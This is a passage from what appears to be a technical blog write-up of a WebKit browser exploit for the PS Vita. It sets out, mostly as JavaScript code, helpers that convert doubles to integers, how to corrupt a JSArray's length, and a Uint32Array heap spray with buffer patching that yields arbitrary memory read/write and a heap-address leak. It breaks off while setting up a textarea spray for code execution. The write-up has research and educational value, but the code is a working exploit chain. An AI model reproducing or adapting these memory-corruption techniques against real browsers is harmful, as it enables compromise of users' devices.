&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// u2d/d2u taken from PSA-2013-0903&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// wraps two uint32s into double precision&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DataView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;	
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;d2u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;DataView&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ArrayBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;low&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; 
	         &lt;span class=&quot;na&quot;&gt;hi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;    
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we get lucky, inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arrays&lt;/code&gt; we will now find a few &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSArray&lt;/code&gt; objects that are extended beyond their real boundary and have their length set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80000000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Interestingly, this successfully corrupts a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSArray&lt;/code&gt; object on the Vita but crashes on Linux hitting a guard page. But this doesn’t matter because we’re not exploiting Linux.&lt;/p&gt;

&lt;p&gt;Now when we write to one of the corrupted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bar&lt;/code&gt; objects, we can achieve an out-of-bounds read/write which is awesome! But let’s upgrade it to a truly arbitrary RW so that we’re not constrained to writing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;double&lt;/code&gt; values converted through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u2d&lt;/code&gt;.&lt;/p&gt;

&lt;h1 id=&quot;arbitrary-rw&quot;&gt;Arbitrary RW&lt;/h1&gt;

&lt;p&gt;To obtain an arbitrary read/write primitive, I used the same trick as used by the 2.00-3.20 WebKit exploit, &lt;a href=&quot;http://acez.re/ps-vita-level-1-webkitties-3/&quot;&gt;described here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First, spray a bunch of buffers:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;spray_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1344&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint32Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, find a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uint32Array&lt;/code&gt; buffer in memory and patch its buffer size and offset fields. Start searching at some arbitrary offset &lt;em&gt;before&lt;/em&gt; the corrupted buffer’s (called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arr&lt;/code&gt; here) elements.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20000000&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x11000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Found Uint32Array&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xEFFFFFE0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// change buffer size&lt;/span&gt;

			&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;heap_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// leak some heap address&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;nx&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_dview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getFloat64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// change buffer offset&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, find the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uint32Array&lt;/code&gt; we’ve corrupted in the last step:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;corrupted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byteLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;corrupted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;corrupted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Done! We now have a completely arbitrary RW, and we have leaked some heap address.&lt;/p&gt;

&lt;h1 id=&quot;code-execution&quot;&gt;Code execution&lt;/h1&gt;

&lt;p&gt;We’re not done until we can execute code inside the browser process. Again, the old trick with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt; objects is used here. First, let’s modify the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uint32Array&lt;/code&gt; heap spray to interleave &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt; objects:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;spray_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;textareas&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;spray_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;spray_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1344&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textarea_cookie&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x66656463&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;textarea_cookie2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x55555555&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;buffers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Uint32Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;buffer_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;textarea&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textarea_cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;textareas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

